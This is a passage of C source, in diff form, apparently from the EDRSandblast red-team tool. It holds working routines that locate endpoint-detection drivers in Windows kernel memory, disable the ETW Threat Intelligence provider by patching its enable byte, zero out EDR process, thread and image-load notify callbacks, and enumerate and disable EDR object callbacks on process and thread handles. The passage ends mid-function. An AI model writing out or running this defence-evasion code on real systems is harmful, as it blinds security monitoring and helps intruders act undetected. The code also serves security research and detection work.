_tprintf_or_not(TEXT("[+] [ETWTI]\tFound ETW Threat Intel provider _ETW_REG_ENTRY at 0x%I64x\n"), etwThreatInt_ETW_REG_ENTRYAddress);
|
||||
}
|
||||
DWORD64 etwThreatInt_ETW_GUID_ENTRYAddress = ReadMemoryDWORD64(etwThreatInt_ETW_REG_ENTRYAddress + g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry);
|
||||
|
||||
return etwThreatInt_ETW_GUID_ENTRYAddress + g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo;
|
||||
}
|
||||
|
||||
void EnableDisableETWThreatIntelProvider(BOOL verbose, BOOL enable) {
|
||||
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
|
||||
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
|
||||
return;
|
||||
}
|
||||
|
||||
_tprintf_or_not(TEXT("[+] [ETWTI]\t%s the ETW Threat Intel provider by patching ProviderEnableInfo at 0x%I64x with 0x%02X.\n"),
|
||||
enable ? TEXT("(Re)enabling") : TEXT("Disabling"), etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
|
||||
WriteMemoryBYTE(etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
|
||||
|
||||
_tprintf_or_not(TEXT("[+] [ETWTI]\tThe ETW Threat Intel provider was successfully %s!\n"), enable ? TEXT("enabled") : TEXT("disabled"));
|
||||
}
|
||||
|
||||
|
||||
void DisableETWThreatIntelProvider(BOOL verbose) {
|
||||
EnableDisableETWThreatIntelProvider(verbose, FALSE);
|
||||
}
|
||||
|
||||
|
||||
void EnableETWThreatIntelProvider(BOOL verbose) {
|
||||
EnableDisableETWThreatIntelProvider(verbose, TRUE);
|
||||
}
|
||||
|
||||
|
||||
BOOL isETWThreatIntelProviderEnabled(BOOL verbose) {
|
||||
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
|
||||
|
||||
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BYTE etwThreatInt_ProviderEnableInfoValue = ReadMemoryBYTE(etwThreatInt_ProviderEnableInfoAddress);
|
||||
|
||||
return etwThreatInt_ProviderEnableInfoValue == ENABLE_PROVIDER;
|
||||
}
|
||||
@@ -0,0 +1,140 @@
|
||||
/*
|
||||
|
||||
--- Kernel callbacks operations.
|
||||
--- Inspiration and credit: https://github.com/br-sn/CheekyBlinder
|
||||
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "FileUtils.h"
|
||||
#include "FileVersion.h"
|
||||
#include "IsEDRChecks.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "KernelUtils.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
#include "PEParser.h"
|
||||
#include "PdbSymbols.h"
|
||||
|
||||
#include "KernelCallbacks.h"
|
||||
|
||||
const TCHAR* notifyRoutineTypeStrs[3] = { TEXT("process creation"), TEXT("thread creation"), TEXT("image loading") };
|
||||
const TCHAR* notifyRoutineTypeNames[3] = { TEXT("ProcessCreate"), TEXT("ThreadCreate"), TEXT("LoadImage") };
|
||||
DWORD64 GetNotifyRoutineAddress(enum NtoskrnlOffsetType nrt);
|
||||
|
||||
BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL verbose) {
|
||||
DWORD64 NotifyRoutineAddress = GetNotifyRoutineAddress(notifyRoutineType);
|
||||
_tprintf_or_not(TEXT("[+] [NotifyRountines]\tEnumerating %s callbacks\n"), notifyRoutineTypeStrs[notifyRoutineType]);
|
||||
if (verbose) { _tprintf_or_not(TEXT("[+] [NotifyRountines]\tPsp%sNotifyRoutine: 0x%I64x\n"), notifyRoutineTypeNames[notifyRoutineType], NotifyRoutineAddress); }
|
||||
|
||||
SIZE_T CurrentEDRCallbacksCount = 0;
|
||||
for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) {
|
||||
DWORD64 callback_struct = ReadMemoryDWORD64(NotifyRoutineAddress + (i * sizeof(DWORD64)));
|
||||
if (callback_struct != 0) {
|
||||
DWORD64 callback = (callback_struct & ~0b1111) + 8; //TODO : replace this hardcoded offset ?
|
||||
DWORD64 cbFunction = ReadMemoryDWORD64(callback);
|
||||
DWORD64 driverOffset;
|
||||
TCHAR* driver = FindDriverName(cbFunction, &driverOffset);
|
||||
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t\t%016llx [%s + 0x%llx]\n"), cbFunction, driver, driverOffset);
|
||||
|
||||
if (driver && isDriverNameMatchingEDR(driver)) { //TODO : also use certificates to determine if EDR
|
||||
DWORD64 callback_addr = NotifyRoutineAddress + (i * sizeof(DWORD64));
|
||||
|
||||
struct KRNL_CALLBACK newFoundDriver = { 0 };
|
||||
newFoundDriver.type = NOTIFY_ROUTINE_CB;
|
||||
newFoundDriver.driver_name = driver;
|
||||
newFoundDriver.addresses.notify_routine.callback_struct_addr = callback_addr;
|
||||
newFoundDriver.addresses.notify_routine.callback_struct = callback_struct;
|
||||
newFoundDriver.addresses.notify_routine.type = notifyRoutineType;
|
||||
newFoundDriver.callback_func = cbFunction;
|
||||
|
||||
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t\tFound callback belonging to EDR driver %s"), driver);
|
||||
if (verbose) {
|
||||
_tprintf_or_not(TEXT(" [callback addr : 0x%I64x | callback struct : 0x%I64x | callback function : 0x%I64x]\n"), callback_addr, callback_struct, cbFunction);
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
newFoundDriver.removed = FALSE;
|
||||
|
||||
edrCallbacks->EDR_CALLBACKS[edrCallbacks->index] = newFoundDriver;
|
||||
edrCallbacks->index++;
|
||||
CurrentEDRCallbacksCount++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (CurrentEDRCallbacksCount == 0) {
|
||||
_putts_or_not(TEXT("[+] [NotifyRountines]\tNo EDR driver(s) found!"));
|
||||
}
|
||||
else {
|
||||
_tprintf_or_not(TEXT("[+] [NotifyRountines]\tFound a total of %llu EDR / security products driver(s)\n"), CurrentEDRCallbacksCount);
|
||||
}
|
||||
return CurrentEDRCallbacksCount > 0;
|
||||
}
|
||||
|
||||
void RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL remove) {
|
||||
TCHAR* action = remove ? TEXT("Removing") : TEXT("Restoring");
|
||||
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t%s %s callbacks\n"), action, notifyRoutineTypeStrs[notifyRoutineType]);
|
||||
|
||||
for (DWORD i = 0; i < edrCallbacks->index; ++i) {
|
||||
struct KRNL_CALLBACK* cb = &edrCallbacks->EDR_CALLBACKS[i];
|
||||
if (cb->type == NOTIFY_ROUTINE_CB &&
|
||||
cb->addresses.notify_routine.type == notifyRoutineType &&
|
||||
cb->removed == !remove) {
|
||||
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t%s callback of EDR driver \"%s\" [callback addr: 0x%I64x | callback struct: 0x%I64x | callback function: 0x%I64x]\n"),
|
||||
action,
|
||||
cb->driver_name,
|
||||
cb->addresses.notify_routine.callback_struct_addr,
|
||||
cb->addresses.notify_routine.callback_struct,
|
||||
cb->callback_func);
|
||||
DWORD64 value_to_write = remove ? 0 : cb->addresses.notify_routine.callback_struct;
|
||||
WriteMemoryDWORD64(cb->addresses.notify_routine.callback_struct_addr, value_to_write);
|
||||
cb->removed = !cb->removed;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void RemoveOrRestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL remove) {
|
||||
RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(CREATE_PROCESS_ROUTINE, edrCallbacks, remove);
|
||||
RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(CREATE_THREAD_ROUTINE, edrCallbacks, remove);
|
||||
RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(LOAD_IMAGE_ROUTINE, edrCallbacks, remove);
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
|
||||
------ Generic callbacks manipulation.
|
||||
|
||||
*/
|
||||
|
||||
|
||||
DWORD64 GetNotifyRoutineAddress(enum NtoskrnlOffsetType nrt) {
|
||||
DWORD64 Ntoskrnlbaseaddress = FindNtoskrnlBaseAddress();
|
||||
DWORD64 Psp_X_NotifyRoutineOffset = g_ntoskrnlOffsets.ar[nrt];
|
||||
DWORD64 Psp_X_NotifyRoutineAddress = Ntoskrnlbaseaddress + Psp_X_NotifyRoutineOffset;
|
||||
return Psp_X_NotifyRoutineAddress;
|
||||
}
|
||||
|
||||
/*
|
||||
|
||||
------ All EDR Kernel callbacks enumeration / removal.
|
||||
|
||||
*/
|
||||
|
||||
BOOL EnumEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL verbose) {
|
||||
BOOL found = FALSE;
|
||||
found |= EnumEDRSpecificNotifyRoutineCallbacks(CREATE_PROCESS_ROUTINE, edrCallbacks, verbose);
|
||||
found |= EnumEDRSpecificNotifyRoutineCallbacks(CREATE_THREAD_ROUTINE, edrCallbacks, verbose);
|
||||
found |= EnumEDRSpecificNotifyRoutineCallbacks(LOAD_IMAGE_ROUTINE, edrCallbacks, verbose);
|
||||
return found;
|
||||
}
|
||||
|
||||
void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
|
||||
RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, TRUE);
|
||||
}
|
||||
|
||||
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
|
||||
RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, FALSE);
|
||||
}
|
||||
@@ -0,0 +1,108 @@
|
||||
#include <Windows.h>
|
||||
#include <Psapi.h>
|
||||
#include <Tchar.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
|
||||
DWORD64 g_NtoskrnlBaseAddress;
|
||||
DWORD64 FindNtoskrnlBaseAddress(void) {
|
||||
if (g_NtoskrnlBaseAddress == 0) {
|
||||
DWORD cbNeeded = 0;
|
||||
LPVOID drivers[1024] = { 0 };
|
||||
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
|
||||
g_NtoskrnlBaseAddress = (DWORD64)drivers[0];
|
||||
}
|
||||
else {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
return g_NtoskrnlBaseAddress;
|
||||
}
|
||||
|
||||
/*
|
||||
* Returns the name of the driver where "address" seems to be located
|
||||
* Optionnaly, return in "offset" the distance between "address" and the driver base address.
|
||||
*/
|
||||
TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset) {
|
||||
LPVOID drivers[1024] = { 0 };
|
||||
DWORD cbNeeded;
|
||||
int cDrivers = 0;
|
||||
int i = 0;
|
||||
TCHAR szDriver[1024] = { 0 };
|
||||
DWORD64 minDiff = MAXDWORD64;
|
||||
DWORD64 diff;
|
||||
if (offset) {
|
||||
*offset = 0;
|
||||
}
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
|
||||
cDrivers = cbNeeded / sizeof(drivers[0]);
|
||||
for (i = 0; i < cDrivers; i++) {
|
||||
if ((DWORD64)drivers[i] <= address) {
|
||||
diff = address - (DWORD64)drivers[i];
|
||||
if (diff < minDiff) {
|
||||
minDiff = diff;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf_or_not(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (GetDeviceDriverBaseName((LPVOID)(address - minDiff), szDriver, _countof(szDriver))) {
|
||||
|
||||
if (offset) {
|
||||
*offset = minDiff;
|
||||
}
|
||||
|
||||
TCHAR* const szDriver_cpy = _tcsdup(szDriver);
|
||||
|
||||
if (!szDriver_cpy) {
|
||||
_putts_or_not(TEXT("[!] Couldn't allocate memory to store the driver name"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return szDriver_cpy;
|
||||
}
|
||||
else {
|
||||
_tprintf_or_not(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Return the driver path given an address in kernel memory (the driver base or an address inside)
|
||||
* TODO : might return paths that begins with "\systemroot\" for the moment, need fixing (cf. Firewalling.c)
|
||||
*/
|
||||
TCHAR* FindDriverPath(DWORD64 address) {
|
||||
DWORD64 offset;
|
||||
TCHAR* name = FindDriverName(address, &offset);
|
||||
free(name);
|
||||
name = NULL;
|
||||
DWORD64 driverBaseAddress = address - offset;
|
||||
TCHAR szDriver[MAX_PATH] = { 0 };
|
||||
GetDeviceDriverFileName((PVOID)driverBaseAddress, szDriver, _countof(szDriver));
|
||||
TCHAR* const szDriver_cpy = _tcsdup(szDriver);
|
||||
|
||||
if (!szDriver_cpy) {
|
||||
_putts_or_not(TEXT("[!] Couldn't allocate memory to store the driver path"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return szDriver_cpy;
|
||||
}
|
||||
|
||||
DWORD64 GetKernelFunctionAddress(LPCSTR function) {
|
||||
DWORD64 ntoskrnlBaseAddress = FindNtoskrnlBaseAddress();
|
||||
DWORD64 address = 0;
|
||||
HMODULE ntoskrnl = LoadLibrary(TEXT("ntoskrnl.exe"));
|
||||
if (ntoskrnl) {
|
||||
DWORD64 offset = (DWORD64)(GetProcAddress(ntoskrnl, function)) - (DWORD64)(ntoskrnl);
|
||||
address = ntoskrnlBaseAddress + offset;
|
||||
FreeLibrary(ntoskrnl);
|
||||
}
|
||||
// _tprintf_or_not(TEXT("[+] %s address: 0x%I64x\n"), function, address);
|
||||
return address;
|
||||
}
|
||||
@@ -0,0 +1,467 @@
|
||||
#include <Tchar.h>
|
||||
#include <Windows.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "IsEDRChecks.h"
|
||||
#include "PdbSymbols.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "KernelUtils.h"
|
||||
#include "FileVersion.h"
|
||||
#include "KernelCallbacks.h"
|
||||
|
||||
#include "ObjectCallbacks.h"
|
||||
|
||||
|
||||
typedef enum OB_OPERATION_e {
|
||||
OB_OPERATION_HANDLE_CREATE = 1,
|
||||
OB_OPERATION_HANDLE_DUPLICATE = 2,
|
||||
OB_FLT_REGISTRATION_VERSION = 0x100
|
||||
} OB_OPERATION;
|
||||
|
||||
typedef struct UNICODE_STRING_t {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWCH Buffer;
|
||||
} UNICODE_STRING;
|
||||
|
||||
#define GET_OFFSET(STRUCTNAME, OFFSETNAME) Offset_ ## STRUCTNAME ## _ ## OFFSETNAME = GetFieldOffset(sym_ctx, #STRUCTNAME, L###OFFSETNAME)
|
||||
#define GET_SYMBOL(SYMBOL) Sym_ ## SYMBOL = GetSymbolAddress(sym_ctx, #SYMBOL)
|
||||
|
||||
|
||||
typedef struct OB_CALLBACK_t OB_CALLBACK;
|
||||
|
||||
/*
|
||||
* Internal / undocumented version of OB_OPERATION_REGISTRATION
|
||||
*/
|
||||
typedef struct OB_CALLBACK_ENTRY_t {
|
||||
LIST_ENTRY CallbackList;
|
||||
OB_OPERATION Operations;
|
||||
BOOL Enabled;
|
||||
OB_CALLBACK* Entry;
|
||||
PVOID ObjectType; // POBJECT_TYPE
|
||||
PVOID PreOperation; // POB_PRE_OPERATION_CALLBACK
|
||||
PVOID PostOperation; // POB_POST_OPERATION_CALLBACK
|
||||
KSPIN_LOCK Lock;
|
||||
}OB_CALLBACK_ENTRY;
|
||||
|
||||
/*
|
||||
* A callback entry is made of some fields followed by concatenation of callback entry items, and the buffer of the associated Altitude string
|
||||
* Internal / undocumented (and compact) version of OB_CALLBACK_REGISTRATION
|
||||
*/
|
||||
typedef struct OB_CALLBACK_t {
|
||||
USHORT Version;
|
||||
USHORT OperationRegistrationCount;
|
||||
PVOID RegistrationContext;
|
||||
UNICODE_STRING AltitudeString;
|
||||
struct OB_CALLBACK_ENTRY_t EntryItems[1]; // has OperationRegistrationCount items
|
||||
WCHAR AltitudeBuffer[1]; // if AltitudeString.MaximumLength bytes long
|
||||
} OB_CALLBACK;
|
||||
|
||||
|
||||
//TODO : find a way to reliably find the offsets
|
||||
DWORD64 Offset_CALLBACK_ENTRY_ITEM_Operations = offsetof(OB_CALLBACK_ENTRY, Operations); //BOOL
|
||||
DWORD64 Offset_CALLBACK_ENTRY_ITEM_Enabled = offsetof(OB_CALLBACK_ENTRY, Enabled); //DWORD
|
||||
DWORD64 Offset_CALLBACK_ENTRY_ITEM_ObjectType = offsetof(OB_CALLBACK_ENTRY, ObjectType); //POBJECT_TYPE
|
||||
DWORD64 Offset_CALLBACK_ENTRY_ITEM_PreOperation = offsetof(OB_CALLBACK_ENTRY, PreOperation); //POB_PRE_OPERATION_CALLBACK
|
||||
DWORD64 Offset_CALLBACK_ENTRY_ITEM_PostOperation = offsetof(OB_CALLBACK_ENTRY, PostOperation); //POB_POST_OPERATION_CALLBACK
|
||||
|
||||
//TODO : parse the bitfield in the PDB symbols to ensure "SupportObjectCallbacks" is bit 6
|
||||
WORD SupportObjectCallbacks_bit = 0x40;
|
||||
|
||||
struct ObjTypeSubjectToCallback {
|
||||
TCHAR* name;
|
||||
DWORD64 offset;
|
||||
DWORD64 callbackListAddress;
|
||||
DWORD64 callbackListFlinkBackup;
|
||||
DWORD64 callbackListBlinkBackup;
|
||||
SIZE_T nbCallbacks;
|
||||
} ObjectTypesSubjectToCallback[2] = {
|
||||
{.name = TEXT("Process"), .offset = 0},
|
||||
{.name = TEXT("Thread"), .offset = 0},
|
||||
};
|
||||
|
||||
/*
|
||||
* Get symbols from Internet that are not in the NtoskrnlOffsets structure (for experimental functions only)
|
||||
*/
|
||||
void GetAdditionnalObjectCallbackOffsets() {
|
||||
if (Offset__OBJECT_TYPE_Name) {
|
||||
//Symbols and offsets already loaded
|
||||
return;
|
||||
}
|
||||
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(GetNtoskrnlPath());
|
||||
if (sym_ctx == NULL) {
|
||||
_tprintf_or_not(TEXT("Symbols not downloaded, aborting..."));
|
||||
exit(1);
|
||||
}
|
||||
GET_OFFSET(_OBJECT_TYPE, Name);
|
||||
GET_OFFSET(_OBJECT_TYPE, TotalNumberOfObjects);
|
||||
GET_OFFSET(_OBJECT_TYPE, TypeInfo);
|
||||
GET_OFFSET(_OBJECT_TYPE_INITIALIZER, ObjectTypeFlags);
|
||||
GET_SYMBOL(ObpObjectTypes);
|
||||
GET_SYMBOL(ObpTypeObjectType);
|
||||
|
||||
UnloadSymbols(sym_ctx, FALSE);
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* ------- Callback Entry Undocumented structure strategy --------
|
||||
* The following functions use the fact that the CallbackList of an _OBJECT_TYPE contains a list of _CALLBACK_ENTRY_ITEM elements, _CALLBACK_ENTRY_ITEM being the unofficial name
|
||||
* of an undocumented structure.
|
||||
* The struct has been reversed engineered in various ntoskrnl.exe version and seems constant from Windows 10 version 10240 to 22000 (oldest to most recent versions)
|
||||
*/
|
||||
|
||||
/*
|
||||
* Experimental : enumerates all object types on Windows, and checks if some callbacks are defined, even if not officially supported
|
||||
*/
|
||||
void EnumAllObjectsCallbacks() {
|
||||
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
|
||||
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
|
||||
return;
|
||||
}
|
||||
GetAdditionnalObjectCallbackOffsets();
|
||||
|
||||
//get object types count
|
||||
DWORD64 ObjectTypeType = ReadKernelMemoryDWORD64(Sym_ObpTypeObjectType);
|
||||
DWORD ObjectTypesCount = ReadMemoryDWORD(ObjectTypeType + Offset__OBJECT_TYPE_TotalNumberOfObjects);
|
||||
|
||||
for (DWORD i = 0; i < ObjectTypesCount; i++) {
|
||||
DWORD64 ObjectType = ReadKernelMemoryDWORD64(Sym_ObpObjectTypes + i * sizeof(DWORD64));
|
||||
DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
|
||||
WORD ObjectType_Name_Length = ReadMemoryWORD(ObjectType + Offset__OBJECT_TYPE_Name + offsetof(UNICODE_STRING, Length));
|
||||
DWORD64 ObjectType_Name_Buffer = ReadMemoryDWORD64(ObjectType + Offset__OBJECT_TYPE_Name + offsetof(UNICODE_STRING, Buffer));
|
||||
WCHAR typeName[256] = { 0 };
|
||||
ReadMemory(ObjectType_Name_Buffer, typeName, ObjectType_Name_Length);
|
||||
wprintf_or_not(L"Object type : %s\n", typeName);
|
||||
|
||||
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List);
|
||||
cbEntry != ObjectType_Callbacks_List;
|
||||
cbEntry = ReadMemoryDWORD64(cbEntry)) {
|
||||
DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType);
|
||||
if (ObjectTypeField != ObjectType) {
|
||||
_putts_or_not(TEXT("Unexpected value in callback entry, exiting..."));
|
||||
exit(1);
|
||||
}
|
||||
BOOL Enabled = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled);
|
||||
if (!Enabled) {
|
||||
continue;
|
||||
}
|
||||
OB_OPERATION Operations = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Operations);
|
||||
_tprintf_or_not(TEXT("Callback for handle %s%s%s\n"),
|
||||
Operations & 1 ? TEXT("creations") : TEXT(""),
|
||||
Operations == 3 ? TEXT(" & ") : TEXT(""),
|
||||
Operations & 2 ? TEXT("duplications") : TEXT(""));
|
||||
DWORD64 PreOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PreOperation);
|
||||
DWORD64 PostOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PostOperation);
|
||||
DWORD64 driverOffsetPreOperation = 0;
|
||||
DWORD64 driverOffsetPostOperation = 0;
|
||||
TCHAR* driverNamePreOperation = FindDriverName(PreOperation, &driverOffsetPreOperation);
|
||||
TCHAR* driverNamePostOperation = FindDriverName(PostOperation, &driverOffsetPostOperation);
|
||||
_tprintf_or_not(TEXT("\tPreoperation at %llx [%s + %llx])\n"), PreOperation, driverNamePreOperation, driverOffsetPreOperation);
|
||||
_tprintf_or_not(TEXT("\tPostoperation at %llx [%s + %llx]\n"), PostOperation, driverNamePostOperation, driverOffsetPostOperation);
|
||||
}
|
||||
_putts_or_not(TEXT(""));
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Enumerate all callbacks set on Process & Thread handle manipulation
|
||||
* WARNING : depends on undocumented structures, but is able to differentiate EDR-related callbacks from potentially legitimate ones
|
||||
*/
|
||||
BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks) {
|
||||
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
|
||||
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
|
||||
return FALSE;
|
||||
}
|
||||
BOOL found = FALSE;
|
||||
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
|
||||
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
|
||||
|
||||
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
|
||||
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\tEnumerating %s object callbacks : \n"), ObjectTypesSubjectToCallback[i].name);
|
||||
DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset);
|
||||
DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
|
||||
|
||||
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List);
|
||||
cbEntry != ObjectType_Callbacks_List;
|
||||
cbEntry = ReadMemoryDWORD64(cbEntry)) {
|
||||
if (FoundObjectCallbacks->index >= 256) {
|
||||
_putts_or_not(TEXT("[!] No more space to store object callbacks !!! This should not happen. Exiting..."));
|
||||
exit(1);
|
||||
}
|
||||
DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType);
|
||||
if (ObjectTypeField != ObjectType) {
|
||||
_putts_or_not(TEXT("Unexpected value in callback entry, exiting..."));
|
||||
exit(1);
|
||||
}
|
||||
DWORD Operations = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Operations);
|
||||
TCHAR* OperationsString;
|
||||
switch (Operations) {
|
||||
case 1: // OB_OPERATION_HANDLE_CREATE
|
||||
OperationsString = TEXT("creations");
|
||||
break;
|
||||
case 2: // OB_OPERATION_HANDLE_DUPLICATE
|
||||
OperationsString = TEXT("duplications");
|
||||
break;
|
||||
case 3: // OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE
|
||||
OperationsString = TEXT("creations & duplications");
|
||||
break;
|
||||
default:
|
||||
_putts_or_not(TEXT("Unexpected value in callback entry, exiting..."));
|
||||
exit(1);
|
||||
}
|
||||
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\tCallback at %p for handle %s:\n"), (PVOID)cbEntry, OperationsString);
|
||||
BOOL Enabled = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled);
|
||||
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tStatus: %s\n"), Enabled ? TEXT("Enabled") : TEXT("Disabled"));
|
||||
DWORD64 PreOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PreOperation);
|
||||
if (PreOperation) {
|
||||
DWORD64 driverOffset;
|
||||
TCHAR* driverNamePreOperation = FindDriverName(PreOperation, &driverOffset);
|
||||
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tPreoperation at 0x%016llx [%s + 0x%llx]\n"), PreOperation, driverNamePreOperation, driverOffset);
|
||||
if (isDriverNameMatchingEDR(driverNamePreOperation)) {
|
||||
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR "));
|
||||
if (Enabled) {
|
||||
_putts_or_not(TEXT("and is enabled!"));
|
||||
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index];
|
||||
cb->type = OBJECT_CALLBACK;
|
||||
cb->driver_name = driverNamePreOperation;
|
||||
cb->removed = FALSE;
|
||||
cb->callback_func = PreOperation;
|
||||
cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
|
||||
FoundObjectCallbacks->index++;
|
||||
found |= TRUE;
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("but is disabled."));
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
DWORD64 PostOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PostOperation);
|
||||
if (PostOperation) {
|
||||
DWORD64 driverOffset;
|
||||
TCHAR* driverNamePostOperation = FindDriverName(PostOperation, &driverOffset);
|
||||
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tPostoperation at 0x%016llx [%s + 0x%llx]\n"), PostOperation, driverNamePostOperation, driverOffset);
|
||||
if (Enabled && isDriverNameMatchingEDR(driverNamePostOperation)) {
|
||||
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR "));
|
||||
if (Enabled) {
|
||||
_putts_or_not(TEXT("and is enabled!"));
|
||||
if (FoundObjectCallbacks->index != 0 &&
|
||||
FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index - 1].addresses.object_callback.enable_addr == cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled) {
|
||||
//skip if last callback function belong to the same callback entry (preoperation)
|
||||
continue;
|
||||
}
|
||||
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index];
|
||||
cb->type = OBJECT_CALLBACK;
|
||||
cb->driver_name = driverNamePostOperation;
|
||||
cb->removed = FALSE;
|
||||
cb->callback_func = PostOperation;
|
||||
cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
|
||||
FoundObjectCallbacks->index++;
|
||||
found |= TRUE;
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("but is disabled."));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return found;
|
||||
}
|
||||
|
||||
|
||||
void EnableDisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks, BOOL enable) {
|
||||
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
|
||||
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
|
||||
return;
|
||||
}
|
||||
